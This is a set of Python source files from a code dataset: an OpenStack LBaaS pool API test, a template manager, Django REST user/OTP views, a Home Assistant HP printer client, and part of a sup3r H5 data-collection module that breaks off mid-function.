\"\"\"\n Tests the following operations in the Neutron-LBaaS API using the\n REST client for Pools:\n\n list pools\n create pool\n get pool\n update pool\n delete pool\n \"\"\"\n\n @classmethod\n def resource_setup(cls):\n super(TestPools, cls).resource_setup()\n if not test.is_extension_enabled('lbaas', 'network'):\n msg = \"lbaas extension not enabled.\"\n raise cls.skipException(msg)\n network_name = data_utils.rand_name('network-')\n cls.network = cls.create_network(network_name)\n cls.subnet = cls.create_subnet(cls.network)\n cls.load_balancer = cls._create_load_balancer(\n tenant_id=cls.subnet.get('tenant_id'),\n vip_subnet_id=cls.subnet.get('id'))\n\n def increment_protocol_port(self):\n global PROTOCOL_PORT\n PROTOCOL_PORT += 1\n\n def _prepare_and_create_pool(self, protocol=None, lb_algorithm=None,\n listener_id=None, cleanup=True, **kwargs):\n self.increment_protocol_port()\n if not protocol:\n protocol = 'HTTP'\n if not lb_algorithm:\n lb_algorithm = 'ROUND_ROBIN'\n if not listener_id:\n listener = self._create_listener(\n loadbalancer_id=self.load_balancer.get('id'),\n protocol='HTTP', protocol_port=PROTOCOL_PORT, **kwargs)\n listener_id = listener.get('id')\n response = self._create_pool(protocol=protocol,\n lb_algorithm=lb_algorithm,\n listener_id=listener_id,\n **kwargs)\n if cleanup:\n self.addCleanup(self._delete_pool, response['id'])\n return response\n\n @test.attr(type='negative')\n def test_create_pool_using_empty_tenant_field(self):\n \"\"\"Test create pool with empty tenant field should fail\"\"\"\n self.assertRaises(ex.BadRequest, self._create_pool,\n protocol='HTTP',\n tenant_id=\"\",\n lb_algorithm='ROUND_ROBIN')\n\n @decorators.skip_because(bug=\"1468457\")\n @test.attr(type='smoke')\n def test_create_pool_missing_tenant_id_for_other_tenant(self):\n \"\"\"\n Test create pool with a missing tenant id field. Verify\n tenant_id does not match when creating pool vs.\n pool (admin client)\n \"\"\"\n new_pool = self._prepare_and_create_pool(\n protocol='HTTP',\n lb_algorithm='ROUND_ROBIN')\n pool = self.pools_client.get_pool(new_pool.get('id'))\n pool_tenant = pool['tenant_id']\n self.assertNotEqual(pool_tenant, self.subnet['tenant_id'])\n\n @decorators.skip_because(bug=\"1468457\")\n @test.attr(type='smoke')\n def test_create_pool_missing_tenant_id_for_admin(self):\n \"\"\"\n Test create pool with a missing tenant id field. Verify\n tenant_id matches when creating pool vs. pool (admin client)\n \"\"\"\n new_pool = self._prepare_and_create_pool(\n protocol='HTTP',\n lb_algorithm='ROUND_ROBIN')\n pool = self.pools_client.get_pool(new_pool.get('id'))\n pool_tenant = pool['tenant_id']\n self.assertEqual(pool_tenant, pool.get('tenant_id'))\n\n @decorators.skip_because(bug=\"1468457\")\n @test.attr(type='smoke')\n def test_create_pool_for_another_tenant(self):\n \"\"\"Test create pool for other tenant field\"\"\"\n tenant = 'deffb4d7c0584e89a8ec99551565713c'\n new_pool = self._prepare_and_create_pool(\n tenant_id=tenant)\n pool = self.pools_client.get_pool(new_pool.get('id'))\n pool_tenant = pool.get('tenant_id')\n self.assertEqual(pool_tenant, tenant)\n\n @test.attr(type='smoke')\n def test_update_pool_sesssion_persistence_app_cookie(self):\n \"\"\"Test update admin pool's session persistence\"\"\"\n new_pool = self._prepare_and_create_pool()\n session_persistence = {\"type\": \"APP_COOKIE\",\n \"cookie_name\": \"my_cookie\"}\n pool = self._update_pool(new_pool.get('id'),\n session_persistence=session_persistence)\n self.assertEqual(session_persistence, pool.get('session_persistence'))\n\n @test.attr(type='smoke')\n def test_update_pool_sesssion_persistence_app_to_http(self):\n \"\"\"\n Test update admin pool's session persistence type from\n app cookie to http cookie\n \"\"\"\n new_pool = self._prepare_and_create_pool()\n session_persistence = {\"type\": \"APP_COOKIE\",\n \"cookie_name\": \"my_cookie\"}\n pool = self._update_pool(new_pool.get('id'),\n session_persistence=session_persistence)\n self.assertEqual(session_persistence, pool.get('session_persistence'))\n pool = self._update_pool(new_pool.get('id'),\n session_persistence={\"type\": \"HTTP_COOKIE\"})\n session_persistence = {\"type\": \"HTTP_COOKIE\",\n \"cookie_name\": None}\n self.assertEqual(session_persistence, pool.get('session_persistence'))\n\n @test.attr(type='smoke')\n def test_delete_pool(self):\n \"\"\"Test delete admin pool\"\"\"\n new_pool = self._prepare_and_create_pool(cleanup=False)\n pool = self.pools_client.get_pool(new_pool.get('id'))\n self.assertEqual(new_pool, pool)\n self._delete_pool(new_pool.get('id'))\n self.assertRaises(ex.NotFound, self.pools_client.get_pool,\n new_pool.get('id'))\n","sub_path":"neutron_lbaas/tests/tempest/v2/api/test_pools_admin.py","file_name":"test_pools_admin.py","file_ext":"py","file_size_in_byte":6535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"464216425","text":"import os, re\n\nclass TplSimple(object):\n\tdef __init__(self, tpl):\n\t\tself.tpl = tpl\n\n\tdef format(self, fields):\n\t\tif not isinstance(fields, dict):\n\t\t\traise Exception('should fill template with a dictionary')\n\t\tcontent = self.tpl\n\t\tfor k, v in fields.items():\n\t\t\tcontent = content.replace('{'+str(k)+'}', str(v))\n\t\t\t#content = re.sub(r'{\\s*' + k + r'\\s*}', v, content)\n\t\treturn content\n\n\tdef template(self):\n\t\treturn self.tpl\n\nclass TplSimpleManager(object):\n\tdef __init__(self, tpldir):\n\t\tif not os.path.exists(tpldir):\n\t\t\traise Exception('template directory is invalid')\n\t\tself.tpldir = tpldir.rstrip(os.sep)\n\t\tself.tpls = {}\n\n\tdef get_templatedir(self):\n\t\treturn self.tpldir\n\n\tdef get_template(self, name, booktype=''):\n\t\tif not booktype:\n\t\t\ttpl_path = os.sep.join([self.tpldir, name+'.tpl'])\n\t\telse:\n\t\t\ttpl_path = os.sep.join([self.tpldir, name+'_%s.tpl' % booktype])\n\t\tif not os.path.exists(tpl_path):\n\t\t\traise Exception('template {} not existed'.format(name))\n\t\tif name not in self.tpls:\n\t\t\twith open(tpl_path, 'r', encoding='utf-8') as f:\n\t\t\t\tself.tpls[name] = TplSimple(f.read())\n\t\treturn self.tpls[name]","sub_path":"epubmaker/template_manager.py","file_name":"template_manager.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"240769768","text":"from rest_framework.viewsets import mixins\nfrom rest_framework.viewsets import GenericViewSet\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nfrom .serializers.otp import SendOtpSerializer\nfrom .serializers.users import SignUpSerializer, LoginSerializer, \\\n VerifyEmailSerializer, ResetPasswordSerializer\n\nfrom .models import TodoUser\n\nfrom .services import OtpService, UserService\n\nfrom core.exceptions.user import LoginFailed, UserAlreadyExist, UserDoesNotExist\n\n\nclass UserViewSet(mixins.CreateModelMixin, mixins.UpdateModelMixin,\n mixins.RetrieveModelMixin, GenericViewSet):\n\n def create(self, request, *args, **kwargs):\n serializer = SignUpSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n validated_data = serializer.validated_data\n\n # verify otp\n\n # create user\n user = UserService.create_user(**validated_data)\n\n # gen token\n api_token = UserService.set_login(user)\n\n return Response(\n data={\n 'user_id': user.pub_id,\n 'user_token': api_token\n },\n status=status.HTTP_201_CREATED\n )\n\n def retrieve(self, request, *args, **kwargs):\n user = request.user_object\n return Response(\n data={\n 'user_id': user.pub_id,\n 'email': user.email\n },\n status=status.HTTP_200_OK\n )\n\n @action(methods=['post'], detail=False)\n def email(self, request):\n \"\"\"\n before sign up, verify email\n \"\"\"\n serializer = VerifyEmailSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n validated_data = serializer.validated_data\n\n # check exist email\n if TodoUser.objects.filter(email=validated_data['email']).exists():\n raise UserAlreadyExist\n\n # send otp\n otp_id = OtpService.send(validated_data['email'])\n\n return Response(\n data={\n 'otp_id': otp_id\n },\n status=status.HTTP_201_CREATED\n )\n\n @action(methods=['post'], detail=False)\n def login(self, request):\n serializer = LoginSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n validated_data = serializer.validated_data\n\n # check email exist\n try:\n user = TodoUser.objects.get(email=validated_data['email'])\n except TodoUser.DoesNotExist:\n raise LoginFailed()\n\n\n # check password\n if not user.check_password(validated_data['password']):\n raise LoginFailed()\n\n # update sign pub key\n user.user_sign_pub_key = validated_data['user_sign_pub_key']\n user.save(update_fields=['user_sign_pub_key', 'modified'])\n\n # gen token\n api_token = UserService.set_login(user)\n\n return Response(\n data={\n 'user_id': user.pub_id,\n 'user_token': api_token\n },\n status=status.HTTP_200_OK\n )\n\n @action(methods=['delete'], detail=False)\n def user_token(self, request):\n \"\"\"\n logout\n \"\"\"\n user = request.user_object\n\n # clear token\n UserService.logout(user)\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n @action(methods=['put'], detail=False)\n def reset_password(self, request):\n serializer = ResetPasswordSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n validated_data = serializer.validated_data\n\n # verify otp\n\n # set password\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass OtpViewSet(mixins.CreateModelMixin, mixins.UpdateModelMixin,\n mixins.RetrieveModelMixin, GenericViewSet):\n\n def create(self, request, *args, **kwargs):\n serializer = SendOtpSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n validated_data = serializer.validated_data\n\n # check exist email\n if not TodoUser.objects.filter(email=validated_data['email']).exists():\n raise UserDoesNotExist\n\n # send otp\n otp_id = OtpService.send(validated_data['email'])\n\n return Response(\n data={\n 'otp_id': otp_id\n },\n status=status.HTTP_201_CREATED\n )\n","sub_path":"backend/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"45822383","text":"import sys\nimport json\nimport logging\n\nimport aiohttp\nimport xmltodict\n\nfrom homeassistant.helpers.aiohttp_client import async_create_clientsession\n\nfrom .const import *\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass HPPrinterAPI:\n def __init__(self, hass, host, port=80, is_ssl=False, data_type=None, reader=None):\n self._hass = hass\n self._host = host\n self._port = port\n self._protocol = \"https\" if is_ssl else \"http\"\n self._data_type = data_type\n self._data = None\n self._reader = reader\n self._session = None\n\n self._url = f'{self._protocol}://{self._host}:{self._port}/DevMgmt/{self._data_type}.xml'\n\n self.initialize()\n\n @property\n def data(self):\n return self._data\n\n def initialize(self):\n try:\n self._session = async_create_clientsession(hass=self._hass)\n\n except Exception as ex:\n exc_type, exc_obj, tb = sys.exc_info()\n line_number = tb.tb_lineno\n\n _LOGGER.error(f\"Failed to initialize BlueIris API, error: {ex}, line: {line_number}\")\n\n async def get_data(self, store=None):\n try:\n self._data = None\n\n _LOGGER.debug(f\"Updating {self._data_type} from {self._host}\")\n\n if self._reader is None:\n printer_data = await self.async_get(store)\n else:\n printer_data = self._reader(self._data_type)\n\n result = {}\n\n if printer_data is not None:\n for root_key in printer_data:\n root_item = printer_data[root_key]\n\n item = self.extract_data(root_item, root_key)\n\n if item is not None:\n result[root_key] = item\n\n self._data = result\n\n if store is not None:\n json_data = json.dumps(self._data)\n\n store(f\"{self._data_type}.json\", json_data)\n\n except Exception as ex:\n exc_type, exc_obj, tb = sys.exc_info()\n line_number = tb.tb_lineno\n\n _LOGGER.error(f'Failed to update data ({self._data_type}) and parse it, Error: {ex}, Line: {line_number}')\n\n return self._data\n\n async def async_get(self, store=None):\n result = None\n\n try:\n _LOGGER.debug(f\"Retrieving {self._data_type} from {self._host}\")\n\n async with self._session.get(self._url, ssl=False, timeout=aiohttp.ClientTimeout(total=10)) as response:\n response.raise_for_status()\n\n content = await response.text()\n\n if store is not None:\n store(f\"{self._data_type}.xml\", content)\n\n for ns in NAMESPACES_TO_REMOVE:\n content = content.replace(f'{ns}:', '')\n\n json_data = xmltodict.parse(content)\n\n result = json_data\n\n except Exception as ex:\n exc_type, exc_obj, tb = sys.exc_info()\n line_number = tb.tb_lineno\n\n _LOGGER.info(f'Cannot retrieve data ({self._data_type}) from printer, Error: {ex}, Line: {line_number}')\n\n return result\n\n def extract_data(self, data_item, data_item_key):\n try:\n ignore = data_item_key in IGNORE_ITEMS\n is_default_array = data_item_key in ARRAY_AS_DEFAULT\n\n if ignore:\n return None\n\n elif isinstance(data_item, dict):\n return self.extract_ordered_dictionary(data_item, data_item_key)\n\n elif isinstance(data_item, list) and not is_default_array:\n return self.extract_array(data_item, data_item_key)\n\n else:\n return data_item\n except Exception as ex:\n exc_type, exc_obj, tb = sys.exc_info()\n line_number = tb.tb_lineno\n\n _LOGGER.error(f'Failed to extract {data_item_key} of {data_item}, Error: {ex}, Line: {line_number}')\n\n def extract_ordered_dictionary(self, data_item, item_key):\n try:\n result = {}\n\n for data_item_key in data_item:\n next_item = data_item[data_item_key]\n\n item = self.extract_data(next_item, data_item_key)\n\n if item is not None:\n result[data_item_key] = item\n\n return result\n except Exception as ex:\n exc_type, exc_obj, tb = sys.exc_info()\n line_number = tb.tb_lineno\n error_details = f\"Error: {ex}, Line: {line_number}\"\n\n _LOGGER.error(f'Failed to extract from dictionary {item_key} of {data_item}, {error_details}')\n\n def extract_array(self, data_item, item_key):\n try:\n result = {}\n keys = ARRAY_KEYS.get(item_key, [])\n index = 0\n\n for current_item in data_item:\n next_item_key = item_key\n item = {}\n for key in current_item:\n next_item = current_item[key]\n\n item_data = self.extract_data(next_item, key)\n\n if item_data is not None:\n item[key] = item_data\n\n if key in keys:\n next_item_key = f'{next_item_key}_{item[key]}'\n\n if len(keys) == 0:\n next_item_key = f'{next_item_key}_{index}'\n\n result[next_item_key] = item\n\n index += 1\n\n return result\n except Exception as ex:\n exc_type, exc_obj, tb = sys.exc_info()\n line_number = tb.tb_lineno\n\n _LOGGER.error(f'Failed to extract from array {item_key} of {data_item}, Error: {ex}, Line: {line_number}')\n\n @staticmethod\n def clean_parameter(data_item, data_key, default_value=\"N/A\"):\n result = data_item.get(data_key, {})\n\n if not isinstance(result, str):\n result = result.get(\"#text\", 0)\n\n if not isinstance(result, str):\n result = default_value\n\n return result\n\n\nclass ConsumableConfigDynPrinterDataAPI(HPPrinterAPI):\n def __init__(self, hass, host, port=80, is_ssl=False, reader=None):\n data_type = \"ConsumableConfigDyn\"\n\n super().__init__(hass, host, port, is_ssl, data_type, reader)\n\n\nclass ProductUsageDynPrinterDataAPI(HPPrinterAPI):\n def __init__(self, hass, host, port=80, is_ssl=False, reader=None):\n data_type = \"ProductUsageDyn\"\n\n super().__init__(hass, host, port, is_ssl, data_type, reader)\n\n\nclass ProductStatusDynDataAPI(HPPrinterAPI):\n def __init__(self, hass, host, port=80, is_ssl=False, reader=None):\n data_type = \"ProductStatusDyn\"\n\n super().__init__(hass, host, port, is_ssl, data_type, reader)\n\n\nclass ProductConfigDynDataAPI(HPPrinterAPI):\n def __init__(self, hass, host, port=80, is_ssl=False, reader=None):\n data_type = \"ProductConfigDyn\"\n\n super().__init__(hass, host, port, is_ssl, data_type, reader)\n","sub_path":"custom_components/hpprinter/HPPrinterAPI.py","file_name":"HPPrinterAPI.py","file_ext":"py","file_size_in_byte":6948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"550645862","text":"# -*- coding: utf-8 -*-\n\"\"\"H5 file collection.\"\"\"\nimport glob\nimport logging\nimport os\nimport time\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom warnings import warn\n\nimport numpy as np\nimport pandas as pd\nimport psutil\nfrom rex.utilities.fun_utils import get_fun_call_str\nfrom rex.utilities.loggers import init_logger\nfrom scipy.spatial import KDTree\n\nfrom sup3r.pipeline import Status\nfrom sup3r.postprocessing.file_handling import OutputMixIn, RexOutputs\nfrom sup3r.utilities import ModuleName\nfrom sup3r.utilities.cli import BaseCLI\n\nlogger = logging.getLogger(__name__)\n\n\nclass Collector(OutputMixIn):\n \"\"\"Sup3r H5 file collection framework\"\"\"\n\n def __init__(self, file_paths):\n \"\"\"\n Parameters\n ----------\n file_paths : list | str\n Explicit list of str file paths that will be sorted and collected\n or a single string with unix-style /search/patt*ern.h5. Files\n should have non-overlapping time_index dataset and fully\n overlapping meta dataset.\n \"\"\"\n if not isinstance(file_paths, list):\n file_paths = glob.glob(file_paths)\n self.flist = sorted(file_paths)\n self.data = None\n self.file_attrs = {}\n\n @classmethod\n def get_node_cmd(cls, config):\n \"\"\"Get a CLI call to collect data.\n\n Parameters\n ----------\n config : dict\n sup3r collection config with all necessary args and kwargs to\n run data collection.\n \"\"\"\n\n import_str = (\n 'from sup3r.postprocessing.collection '\n 'import Collector;\\n'\n 'from rex import init_logger;\\n'\n 'import time;\\n'\n 'from reV.pipeline.status import Status;\\n'\n )\n\n dc_fun_str = get_fun_call_str(cls.collect, config)\n\n log_file = config.get('log_file', None)\n log_level = config.get('log_level', 'INFO')\n log_arg_str = f'\"sup3r\", log_level=\"{log_level}\"'\n if log_file is not None:\n log_arg_str += f', log_file=\"{log_file}\"'\n\n cmd = (\n f\"python -c \\'{import_str}\\n\"\n \"t0 = time.time();\\n\"\n f\"logger = init_logger({log_arg_str});\\n\"\n f\"{dc_fun_str};\\n\"\n \"t_elap = time.time() - t0;\\n\"\n )\n\n cmd = BaseCLI.add_status_cmd(config, ModuleName.DATA_COLLECT, cmd)\n\n cmd += \";\\'\\n\"\n\n return cmd.replace('\\\\', '/')\n\n @classmethod\n def get_slices(\n cls, final_time_index, final_meta, new_time_index, new_meta\n ):\n \"\"\"Get index slices where the new ti/meta belong in the final ti/meta.\n\n Parameters\n ----------\n final_time_index : pd.Datetimeindex\n Time index of the final file that new_time_index is being written\n to.\n final_meta : pd.DataFrame\n Meta data of the final file that new_meta is being written to.\n new_time_index : pd.Datetimeindex\n Chunk time index that is a subset of the final_time_index.\n new_meta : pd.DataFrame\n Chunk meta data that is a subset of the final_meta.\n\n Returns\n -------\n row_slice : slice\n final_time_index[row_slice] = new_time_index\n col_slice : slice\n final_meta[col_slice] = new_meta\n \"\"\"\n\n final_index = final_meta.index\n new_index = new_meta.index\n row_loc = np.where(final_time_index.isin(new_time_index))[0]\n col_loc = np.where(final_meta['gid'].isin(new_meta['gid']))[0]\n\n if not len(row_loc) > 0:\n msg = (\n 'Could not find row locations in file collection. '\n 'New time index: {} final time index: {}'.format(\n new_time_index, final_time_index\n )\n )\n logger.error(msg)\n raise RuntimeError(msg)\n\n if not len(col_loc) > 0:\n msg = (\n 'Could not find col locations in file collection. '\n 'New index: {} final index: {}'.format(new_index, final_index)\n )\n logger.error(msg)\n raise RuntimeError(msg)\n\n row_slice = slice(np.min(row_loc), np.max(row_loc) + 1)\n col_slice = slice(np.min(col_loc), np.max(col_loc) + 1)\n\n msg = (\n f'row_slice={row_slice} conflict with row_indices={row_loc}. '\n 'Indices do not seem to be increasing and/or contiguous.'\n )\n assert (row_slice.stop - row_slice.start) == len(row_loc), msg\n\n msg = (\n f'col_slice={col_slice} conflict with col_indices={col_loc}. '\n 'Indices do not seem to be increasing and/or contiguous.'\n )\n check = (col_slice.stop - col_slice.start) == len(col_loc)\n if not check:\n logger.warning(msg)\n warn(msg)\n\n return row_slice, col_loc\n\n def get_coordinate_indices(self, target_meta, full_meta, threshold=1e-4):\n \"\"\"Get coordindate indices in meta data for given targets\n\n Parameters\n ----------\n target_meta : pd.DataFrame\n Dataframe of coordinates to find within the full meta\n full_meta : pd.DataFrame\n Dataframe of full set of coordinates for unfiltered dataset\n threshold : float\n Threshold distance for finding target coordinates within full meta\n \"\"\"\n ll2 = np.vstack(\n (full_meta.latitude.values, full_meta.longitude.values)\n ).T\n tree = KDTree(ll2)\n targets = np.vstack(\n (target_meta.latitude.values, target_meta.longitude.values)\n ).T\n _, indices = tree.query(targets, distance_upper_bound=threshold)\n indices = indices[indices < len(full_meta)]\n return indices\n\n def get_data(\n self,\n file_path,\n feature,\n time_index,\n meta,\n scale_factor,\n dtype,\n threshold=1e-4,\n ):\n \"\"\"Retreive a data array from a chunked file.\n\n Parameters\n ----------\n file_path : str\n h5 file to get data from\n feature : str\n dataset to retrieve data from fpath.\n time_index : pd.Datetimeindex\n Time index of the final file.\n meta : pd.DataFrame\n Meta data of the final file.\n scale_factor : int | float\n Final destination scale factor after collection. If the data\n retrieval from the files to be collected has a different scale\n factor, the collected data will be rescaled and returned as\n float32.\n dtype : np.dtype\n Final dtype to return data as\n threshold : float\n Threshold distance for finding target coordinates within full meta\n\n Returns\n -------\n f_data : np.ndarray\n Data array from the fpath cast as input dtype.\n row_slice : slice\n final_time_index[row_slice] = new_time_index\n col_slice : slice\n final_meta[col_slice] = new_meta\n \"\"\"\n\n with RexOutputs(file_path, unscale=False, mode='r') as f:\n f_ti = f.time_index\n f_meta = f.meta\n source_scale_factor = f.attrs[feature].get('scale_factor', 1)\n\n if feature not in f.dsets:\n e = (\n 'Trying to collect dataset \"{}\" but cannot find in '\n 'available: {}'.format(feature, f.dsets)\n )\n logger.error(e)\n raise KeyError(e)\n\n mask = self.get_coordinate_indices(\n meta, f_meta, threshold=threshold\n )\n f_meta = f_meta.iloc[mask]\n f_data = f[feature][:, mask]\n\n if len(mask) == 0:\n msg = (\n 'No target coordinates found in masked meta. '\n f'Skipping collection for {file_path}.'\n )\n logger.warning(msg)\n warn(msg)\n\n else:\n row_slice, col_slice = Collector.get_slices(\n time_index, meta, f_ti, f_meta\n )\n\n if scale_factor != source_scale_factor:\n f_data = f_data.astype(np.float32)\n f_data *= scale_factor / source_scale_factor\n\n if np.issubdtype(dtype, np.integer):\n f_data = np.round(f_data)\n\n f_data = f_data.astype(dtype)\n self.data[row_slice, col_slice] = f_data\n\n def _get_file_attrs(self, file):\n \"\"\"Get meta data and time index for a single file\"\"\"\n if file in self.file_attrs:\n meta = self.file_attrs[file]['meta']\n time_index = self.file_attrs[file]['time_index']\n else:\n with RexOutputs(file, mode='r') as f:\n meta = f.meta\n time_index = f.time_index\n if file not in self.file_attrs:\n self.file_attrs[file] = {'meta': meta, 'time_index': time_index}\n return meta, time_index\n\n def _get_collection_attrs(\n self, file_paths, sort=True, sort_key=None, max_workers=None\n ):\n \"\"\"Get important dataset attributes from a file list to be collected.\n\n Assumes the file list is chunked in time (row chunked).\n\n Parameters\n ----------\n file_paths : list | str\n Explicit list of str file paths that will be sorted and collected\n or a single string with unix-style /search/patt*ern.h5.\n sort : bool\n flag to sort flist to determine meta data order.\n sort_key : None | fun\n Optional sort key to sort flist by (determines how meta is built\n if out_file does not exist).\n max_workers : int | None\n Number of workers to use in parallel. 1 runs serial,\n None will use all available workers.\n target_final_meta_file : str\n Path to target final meta containing coordinates to keep from the\n full list of coordinates present in the collected meta for the full\n file list.\n threshold : float\n Threshold distance for finding target coordinates within full meta\n\n Returns\n -------\n time_index : pd.datetimeindex\n Concatenated full size datetime index from the flist that is\n being collected\n meta : pd.DataFrame\n Concatenated full size meta data from the flist that is being\n collected or provided target meta\n \"\"\"\n if sort:\n file_paths = sorted(file_paths, key=sort_key)\n\n logger.info(\n 'Getting collection attrs for full dataset with '\n f'max_workers={max_workers}.'\n )\n\n time_index = [None] * len(file_paths)\n meta = [None] * len(file_paths)\n if max_workers == 1:\n for i, fn in enumerate(file_paths):\n meta[i], time_index[i] = self._get_file_attrs(fn)\n logger.debug(f'{i+1} / {len(file_paths)} files finished')\n else:\n futures = {}\n with ThreadPoolExecutor(max_workers=max_workers) as exe:\n for i, fn in enumerate(file_paths):\n future = exe.submit(self._get_file_attrs, fn)\n futures[future] = i\n\n for i, future in enumerate(as_completed(futures)):\n mem = psutil.virtual_memory()\n msg = (\n f'Meta collection futures completed: {i + 1} out '\n f'of {len(futures)}. Current memory usage is '\n f'{mem.used / 1e9:.3f} GB out of '\n f'{mem.total / 1e9:.3f} GB total.'\n )\n logger.info(msg)\n try:\n idx = futures[future]\n meta[idx], time_index[idx] = future.result()\n except Exception as e:\n msg = (\n 'Falied to get attrs from '\n f'{file_paths[futures[future]]}'\n )\n logger.exception(msg)\n raise RuntimeError(msg) from e\n time_index = pd.DatetimeIndex(np.concatenate(time_index))\n time_index = time_index.sort_values()\n time_index = time_index.drop_duplicates()\n meta = pd.concat(meta)\n\n if 'latitude' in meta and 'longitude' in meta:\n meta = meta.drop_duplicates(subset=['latitude', 'longitude'])\n meta = meta.sort_values('gid')\n\n return time_index, meta\n\n def get_target_and_masked_meta(\n self, meta, target_final_meta_file=None, threshold=1e-4\n ):\n \"\"\"Use combined meta for all files and target_final_meta_file to get\n mapping from the full meta to the target meta and the mapping from the\n target meta to the full meta, both of which are masked to remove\n coordinates not present in the target_meta.\n\n Parameters\n ----------\n meta : pd.DataFrame\n Concatenated full size meta data from the flist that is being\n collected or provided target meta\n target_final_meta_file : str\n Path to target final meta containing coordinates to keep from the\n full list of coordinates present in the collected meta for the full\n file list.\n threshold : float\n Threshold distance for finding target coordinates within full meta\n\n Returns\n -------\n target_final_meta : pd.DataFrame\n Concatenated full size meta data from the flist that is being\n collected or provided target meta\n masked_meta : pd.DataFrame\n Concatenated full size meta data from the flist that is being\n collected masked against target_final_meta\n \"\"\"\n if target_final_meta_file is not None and os.path.exists(\n target_final_meta_file\n ):\n target_final_meta = pd.read_csv(target_final_meta_file)\n if 'gid' in target_final_meta.columns:\n target_final_meta = target_final_meta.drop('gid', axis=1)\n mask = self.get_coordinate_indices(\n target_final_meta, meta, threshold=threshold\n )\n masked_meta = meta.iloc[mask]\n logger.info(f'Masked meta coordinates: {len(masked_meta)}')\n mask = self.get_coordinate_indices(\n masked_meta, target_final_meta, threshold=threshold\n )\n target_final_meta = target_final_meta.iloc[mask]\n logger.info(f'Target meta coordinates: {len(target_final_meta)}')\n else:\n target_final_meta = masked_meta = meta\n\n return target_final_meta, masked_meta\n\n def get_collection_attrs(\n self,\n file_paths,\n sort=True,\n sort_key=None,\n max_workers=None,\n target_final_meta_file=None,\n threshold=1e-4,\n ):\n \"\"\"Get important dataset attributes from a file list to be collected.\n\n Assumes the file list is chunked in time (row chunked).\n\n Parameters\n ----------\n file_paths : list | str\n Explicit list of str file paths that will be sorted and collected\n or a single string with unix-style /search/patt*ern.h5.\n sort : bool\n flag to sort flist to determine meta data order.\n sort_key : None | fun\n Optional sort key to sort flist by (determines how meta is built\n if out_file does not exist).\n max_workers : int | None\n Number of workers to use in parallel. 1 runs serial,\n None will use all available workers.\n target_final_meta_file : str\n Path to target final meta containing coordinates to keep from the\n full list of coordinates present in the collected meta for the full\n file list.\n threshold : float\n Threshold distance for finding target coordinates within full meta\n\n Returns\n -------\n time_index : pd.datetimeindex\n Concatenated full size datetime index from the flist that is\n being collected\n target_final_meta : pd.DataFrame\n Concatenated full size meta data from the flist that is being\n collected or provided target meta\n masked_meta : pd.DataFrame\n Concatenated full size meta data from the flist that is being\n collected masked against target_final_meta\n shape : tuple\n Output (collected) dataset shape\n global_attrs : dict\n Global attributes from the first file in file_paths (it's assumed\n that all the files in file_paths have the same global file\n attributes).\n \"\"\"\n logger.info(f'Using target_final_meta_file={target_final_meta_file}')\n if isinstance(target_final_meta_file, str):\n msg = (\n f'Provided target meta ({target_final_meta_file}) does not '\n 'exist.'\n )\n assert os.path.exists(target_final_meta_file), msg\n\n time_index, meta = self._get_collection_attrs(\n file_paths, sort=sort, sort_key=sort_key, max_workers=max_workers\n )\n\n target_final_meta, masked_meta = self.get_target_and_masked_meta(\n meta, target_final_meta_file, threshold=threshold\n )\n\n shape = (len(time_index), len(target_final_meta))\n\n with RexOutputs(file_paths[0], mode='r') as fin:\n global_attrs = fin.global_attrs\n\n return time_index, target_final_meta, masked_meta, shape, global_attrs\n\n def _write_flist_data(\n self,\n out_file,\n feature,\n time_index,\n subset_masked_meta,\n target_masked_meta,\n ):\n \"\"\"Write spatiotemporal file list data to output file for given\n feature\n\n Parameters\n ----------\n out_file : str\n Name of output file\n feature : str\n Name of feature for output chunk\n time_index : pd.DateTimeIndex\n Time index for corresponding file list data\n subset_masked_meta : pd.DataFrame\n Meta for corresponding file list data\n target_masked_meta : pd.DataFrame\n Meta for full output file\n \"\"\"\n with RexOutputs(out_file, mode='r') as f:\n target_ti = f.time_index\n y_write_slice, x_write_slice = Collector.get_slices(\n target_ti,\n target_masked_meta,\n time_index,\n subset_masked_meta,\n )\n Collector._ensure_dset_in_output(out_file, feature)\n\n with RexOutputs(out_file, mode='a') as f:\n try:\n f[feature, y_write_slice, x_write_slice] = self.data\n except Exception as e:\n msg = (\n f'Problem with writing data to {out_file} with '\n f't_slice={y_write_slice}, '\n f's_slice={x_write_slice}. {e}'\n )\n logger.error(msg)\n raise OSError(msg) from e\n\n logger.debug(\n 'Finished writing \"{}\" for row {} and col {} to: {}'.format(\n feature,\n y_write_slice,\n x_write_slice,\n os.path.basename(out_file),\n )\n )\n\n def _collect_flist(\n self,\n feature,\n subset_masked_meta,\n time_index,\n shape,\n file_paths,\n out_file,\n target_masked_meta,\n max_workers=None,\n ):\n \"\"\"Collect a dataset from a file list without getting attributes first.\n This file list can be a subset of a full file list to be collected.\n\n Parameters\n ----------\n feature : str\n Dataset name to collect.\n subset_masked_meta : pd.DataFrame\n Meta data containing the list of coordinates present in both the\n given file paths and the target_final_meta. This can be a subset of\n the coordinates present in the full file list. The coordinates\n contained in this dataframe have the same gids as those present in\n the meta for the full file list.\n time_index : pd.datetimeindex\n Concatenated datetime index for the given file paths.\n shape : tuple\n Output (collected) dataset shape\n file_paths : list | str\n File list to be collected. This can be a subset of a full file list\n to be collected.\n out_file : str\n File path of final output file.\n target_masked_meta : pd.DataFrame\n Same as subset_masked_meta but instead for the entire list of files\n to be collected.\n max_workers : int | None\n Number of workers to use in parallel. 1 runs serial,\n None uses all available.\n \"\"\"\n if len(subset_masked_meta) > 0:\n attrs, final_dtype = self.get_dset_attrs(feature)\n 